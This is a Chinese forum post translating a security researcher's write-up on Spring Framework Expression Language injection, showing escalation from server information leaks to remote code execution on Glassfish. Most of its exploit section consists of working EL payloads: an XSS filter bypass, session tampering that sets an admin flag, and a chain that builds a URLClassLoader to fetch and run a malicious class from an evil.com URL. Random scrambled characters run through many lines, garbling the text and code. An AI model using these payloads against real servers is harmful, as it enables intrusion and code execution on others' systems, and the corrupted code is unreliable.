找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2796|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
+ A* y' ^9 }4 b; g+ t/ E9 LExpression Language Injection; s8 s# F/ H) g- N4 [3 P
Spring Framework脆弱性—DanAmodio
4 D) G. Y2 l8 ?8 ~3 E/ [. T, J) C7 s全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
2 [4 E# v. }+ U7 d% O# y, A9 N# q( }可能会存在风险。5 _! v5 B3 ~% @" g2 y* N/ y0 m" _
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的- r2 @" d# ~" o9 R/ y1 d
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
6 m% G9 h3 N" j/ J* a9 d1 @以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
% l: C# W# b" n以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前; \4 ^4 Y6 A* P$ T, h3 I/ V
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。% P9 j- j. G- \
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
1 q. m# `4 I4 z; V6 s/ i我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版2 t( K. }. [. }$ r5 y( h3 }5 O) {
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
  ?- H! y- v9 V( F$ ^$ z$ v这些版本不支持禁用double EL resolution.
6 z$ }4 Z0 R9 p9 L这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
9 c, e% P6 V9 ~EL2.2容器上可能进行远程代码执行。0 x3 p! }6 e+ q7 E/ R8 m
这是一个原始信息泄露的攻击例子:
& \& n# P. ^% ^# k8 y1 G/ j请求:0 {- \& _5 z+ b( K9 a- q0 [; ~
ttp://vulnerable.com/foo?message=${applicationScope}; L, C4 ], z) w1 K* d' S$ ^0 u0 w& y
到达以下内容页面:
8 u. S: ^0 _8 I( N结果将输出一些包含内部服务器信息calsspath 和本地工作目录8 w# J' e" ~! ?% I7 I1 r
你也可以做一些其他事情,如这样:
( n0 G1 m7 G& h+ h; m2 Q, t${9999+1}8 y' _6 ?6 S" l: h$ Y6 I6 J
还可以访问session 对象和beans, X, C- C- B! M$ R
${employee.lastName}
9 p9 K, t% ?7 ~& {/ f# v8 x在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是, g6 c* Y) H; H3 n" b! Z7 U
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
4 b6 i" V- {, U西,比如XSS.$ S2 o; s7 x" f8 ~( n( K
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
: i# n) t- m$ a突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤/ p0 n) d& w$ @. V7 J
呢?”7 D5 R& n1 o; h6 _' `! k
因此,我尝试巳缦拢�
( W( A3 s2 p9 m' o, h+ Shttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
' W5 p7 _% ~, fP% l1 l9 W6 i! h$ a" }
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返  V$ ?9 K7 F% N/ W1 ]5 I* L
回的文本被插入进了spring:message 标签。
7 ~1 G& L. f: }0 V这里是一个最终绕过过滤的实例:4 }+ @5 O% {% G" g2 n* n4 F" }
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ+ D% f' g, [& Q1 ]% L! R" ]
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为) z4 y0 ~+ }0 S1 ]" y/ `
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
/ S+ H. _9 Z7 f# ~" D6 T经过一番研究,我学习到EL2.2 增加了方法调用。4 K/ `2 w( F5 k2 J9 j# G7 L
我写了一个快速测试应用程序代码并且检测一些功能
+ f/ V1 L# P& @( g${pageContext.request.getSession().setAttribute(“account”,”123456″)}6 b1 B' J4 N' T* Z; q" _
${pageContext.request.getSession().setAttribute(“admin”,true)}4 r7 w; X  s3 d# W0 x
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
7 B1 c& T3 W9 `1 V指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
; X9 [& `, K6 n2 |$ w8 `${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1" p, [+ g% x9 J: E7 E" v) V% k
“, 1234)}2 P$ O; f4 F" ^$ M$ d- H: K, \
${“”.getClass().forName(“java.lang.Runtime”)}
" Q# n* t" r5 T) k, k; v哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不% R  `8 B; S6 o' m! s1 @+ y
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
" d) Y: f+ {7 k* J数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有4 S$ R& \3 W. X3 {/ h. d0 j: Q
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于! M0 C" P1 y1 V
方法签名invoke(Object obj, Object„ args)8 Q1 f' n/ x, ^0 f' V# q
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问7 y# Y( [3 {5 w, F
题,以让它可以工作起来。
# F% t0 S% \3 v, J- A+ S漏洞利用:
# g6 a4 |. }. p  Z; u( o我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
# o* f) N$ N- M; Q6 x: x希望你们中的一些JAVA奇才告诉我我是如此的可笑。
$ y+ p2 O0 a* s1 E$ C; G这里有一些我试过的失败的用例,为了试图让它工作的用例:/ A7 V; n5 `' c( g& i. {+ ~7 A
 写文件到文件系统
: A4 @& T1 g# S. k, m$ `1 ] 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.6 P* @3 e& d$ P  c' D0 C$ s
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
, S8 h% C1 R( x) v${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
$ ^( m0 t- C* sjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:$ p2 w+ `% n- c% ~
org.springframework.expression.spel.standard.SpelExpressionParser not found. b; D% m8 e& f$ J
by7 ^9 Y$ L/ b# T$ {# ~5 O3 Y
org.glassfish.web.javax.servlet.jsp [194].
0 M8 B* \8 e- i 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public7 A3 U( P% Y7 R3 Y' W- k
 利用反射来创建一个新的Runtime(and watch the world burn)1 k. i: M8 X) w0 Z# Y5 |* G
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName, K2 B0 p  q7 E' _8 i2 ]
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}8 g; i" i6 ?5 F1 y. \( e, f
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
( i; N6 x8 A& w% r$ J 使用java.lang.ProcessBuilder  q& X) Y' W5 f
 用表达式语言来评估表达式语言
# D0 A* C6 o6 p+ n  R7 c1 W7 jExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.2 p3 r8 W$ s9 t/ b. G& @" `1 d
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
  w8 G2 C- S5 f" T' V+ Z! }“,”".getClass(),null)}* _3 z# W  A! v' B8 w* R- o/ u
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)) b/ ]$ v- E' K
我在使用一个空数组通过Method.invoke()时失败了很多次; q4 `# E9 T" l% m: K) ]
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
- [* B: j8 ~7 g* s& g.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
: G9 V0 o! I  {- U8 s* F, U, zrrayList”).newInstance().toArray())
# S5 P* x* R  k" I6 a1 Ejava.lang.IllegalArgumentException: wrong number of arguments: U! V! \2 }( D( h5 ^* G1 E' V( Q4 ^
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可( x7 x, P: ^% `6 D) Y. y: ~
以创建一个恶意class文件并且指向类装载器.7 Q4 j6 v# L! @" S7 O
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:2 G6 i. f, ^9 L3 l3 r
public class Malicious {7 Q! J6 `# M4 y- }1 O
public Malicious() {
+ ~* Q0 B/ Z4 ^1 j/ k( Itry {0 ?' ^! J: i5 P& L/ N* r
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
! c7 x0 T. J1 V4 c. D% n3 ejava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win: t; G4 d) Y  f- Y4 i
} catch (Exception e) {
1 O9 @: y4 B; S" p/ @% N0 k! g8 H6 ]}4 B+ ?' V5 I, C5 ^0 F
}* t; I! A) B+ u
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
1 ]+ g) G. ^: G9 @话中,因此它可以被使用.3 K. g' x# D# J0 Z( A. ]
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName5 {  b' |; W) v# e( C
(“java.util.ArrayList”).newInstance())}; K3 c* u8 z$ o* R5 G
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
) C- ]8 y" A! ]+ |一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和. ~! P* I% ]) q4 |7 a
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个6 S2 V0 i+ Q) d) V/ l
我们可以调用的create(string)方法,然后转换对一个URL对象。
4 K" M* h% n& y3 t6 t* d4 ^# u${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh& _4 l" l) l2 Q7 ^; W( z6 u3 G
ere/malicious/classfile/is/located/”).toURL())}
8 _* y- I$ f  o然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
' Q' C! Q9 f/ t. |恶意类文件被装载并创建,触发远程代码./ [  Y$ N+ \: ^0 _( S
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
2 E0 R$ [9 l! Q/ @% p: Q! Yxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
4 x+ a! c  r/ J0 l& K* XgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
4 v$ |$ L9 a5 ]8 H: d()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表